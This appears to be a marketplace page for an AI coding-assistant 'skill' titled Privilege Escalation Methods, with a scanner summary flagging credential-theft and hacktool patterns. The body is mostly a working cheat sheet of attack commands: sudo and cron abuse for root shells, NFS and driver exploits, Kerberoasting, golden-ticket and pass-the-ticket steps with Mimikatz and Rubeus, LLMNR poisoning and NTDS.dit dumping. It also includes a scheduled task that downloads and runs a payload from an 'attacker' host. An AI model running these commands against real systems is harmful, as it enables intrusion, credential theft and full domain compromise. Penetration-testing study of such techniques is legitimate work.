Privilege Escalation Methods

Skills security 97 Scanned by NVIDIA SkillSpector

This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.

Install Command

npx claude-code-templates@latest --skill security/privilege-escalation-methods

View on GitHub

claude-code — privilege-escalation-methods

Scanned by NVIDIA SkillSpector

Automated static analysis (no LLM) · v2.12.0 · 2026-10-17

Partial analysis: some checks could not run on this component.

27 observations

scanner score 100/100

SkillSpector looks for patterns such as shell commands, credential access, network calls or unpinned dependencies. An observation is something worth reading in the files before you install, not a confirmed vulnerability. Components that run code locally, like hooks, MCP servers and security tooling, naturally show more of them.

Credential Access ×2
Privilege Escalation · SKILL.md:83
YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]
YARA Match · SKILL.md:19
Chaining Abuse ×3
Tool Misuse · SKILL.md:46
YARA rule 'privilege_escalation_tools': Privilege escalation tools and techniques [hacktools]
YARA Match · SKILL.md:118
YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]
YARA Match · SKILL.md:169

Showing 8 of 27 observations. Learn more about NVIDIA SkillSpector.

Content

Privilege Escalation Methods

Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

Inputs/Prerequisites

Initial low-privilege shell access on target system
Kali Linux or penetration testing distribution
Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
Understanding of Windows/Linux privilege models
For AD attacks: Domain user credentials and network access to DC

Outputs/Deliverables

Root or Administrator shell access
Extracted credentials and hashes
Persistent access mechanisms
Domain compromise (for AD environments)

Core Techniques

Linux Privilege Escalation

1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

bash

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash

2. Abusing Scheduled Tasks (Cron)

bash

# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p

3. Abusing Capabilities

bash

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar

4. NFS Root Squashing

bash

# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash

5. MySQL Running as Root

bash

# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

Windows Privilege Escalation

1. Token Impersonation

powershell

# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

2. Service Abuse

powershell

# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'

3. Abusing SeBackupPrivilege

powershell

import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

4. Abusing SeLoadDriverPrivilege

powershell

# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe

5. Abusing GPO

powershell

.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

Active Directory Attacks

1. Kerberoasting

bash

# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt

2. AS-REP Roasting

powershell

.\Rubeus.exe asreproast

3. Golden Ticket

powershell

# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500

4. Pass-the-Ticket

powershell

.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket

5. Golden Ticket with Scheduled Tasks

powershell

# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"

Credential Harvesting

LLMNR Poisoning

bash

# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico

NTLM Relay

bash

responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support

Dumping with VSS

powershell

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

Quick Reference

Technique	OS	Domain Required	Tool
Sudo Binary Abuse	Linux	No	GTFOBins
Cron Job Exploit	Linux	No	Manual
Capability Abuse	Linux	No	getcap
NFS no_root_squash	Linux	No	mount
Token Impersonation	Windows	No	SweetPotato
Service Abuse	Windows	No	PowerUp
Kerberoasting	Windows	Yes	Rubeus/Impacket
AS-REP Roasting	Windows	Yes	Rubeus
Golden Ticket	Windows	Yes	Mimikatz
Pass-the-Ticket	Windows	Yes	Rubeus
DCSync	Windows	Yes	Mimikatz
LLMNR Poisoning	Windows	Yes	Responder

Constraints

Must:

Have initial shell access before attempting escalation
Verify target OS and environment before selecting technique
Use appropriate tool for domain vs local escalation

Must Not:

Attempt techniques on production systems without authorization
Leave persistence mechanisms without client approval
Ignore detection mechanisms (EDR, SIEM)

Should:

Enumerate thoroughly before exploitation
Document all successful escalation paths
Clean up artifacts after engagement

Examples

Example 1: Linux Sudo to Root

bash

# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: Windows Kerberoasting

bash

# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

Troubleshooting

Issue	Solution
sudo -l requires password	Try other enumeration (SUID, cron, capabilities)
Mimikatz blocked by AV	Use Invoke-Mimikatz or SafetyKatz
Kerberoasting returns no hashes	Check for service accounts with SPNs
Token impersonation fails	Verify SeImpersonatePrivilege is present
NFS mount fails	Check NFS version compatibility (vers=2,3,4)

Additional Resources

For detailed enumeration scripts, use:

LinPEAS: Linux privilege escalation enumeration
WinPEAS: Windows privilege escalation enumeration
BloodHound: Active Directory attack path mapping
GTFOBins: Unix binary exploitation reference

Privilege Escalation Methods

Scanned by NVIDIA SkillSpector

Content

Privilege Escalation Methods

Purpose

Inputs/Prerequisites

Outputs/Deliverables

Core Techniques

Linux Privilege Escalation

1. Abusing Sudo Binaries

2. Abusing Scheduled Tasks (Cron)

3. Abusing Capabilities

4. NFS Root Squashing

5. MySQL Running as Root

Windows Privilege Escalation

1. Token Impersonation

2. Service Abuse

3. Abusing SeBackupPrivilege

4. Abusing SeLoadDriverPrivilege

5. Abusing GPO

Active Directory Attacks

1. Kerberoasting

2. AS-REP Roasting

3. Golden Ticket

4. Pass-the-Ticket

5. Golden Ticket with Scheduled Tasks

Credential Harvesting

LLMNR Poisoning

NTLM Relay

Dumping with VSS

Quick Reference

Constraints

Examples

Example 1: Linux Sudo to Root

Example 2: Windows Kerberoasting

Troubleshooting

Additional Resources

Stack Builder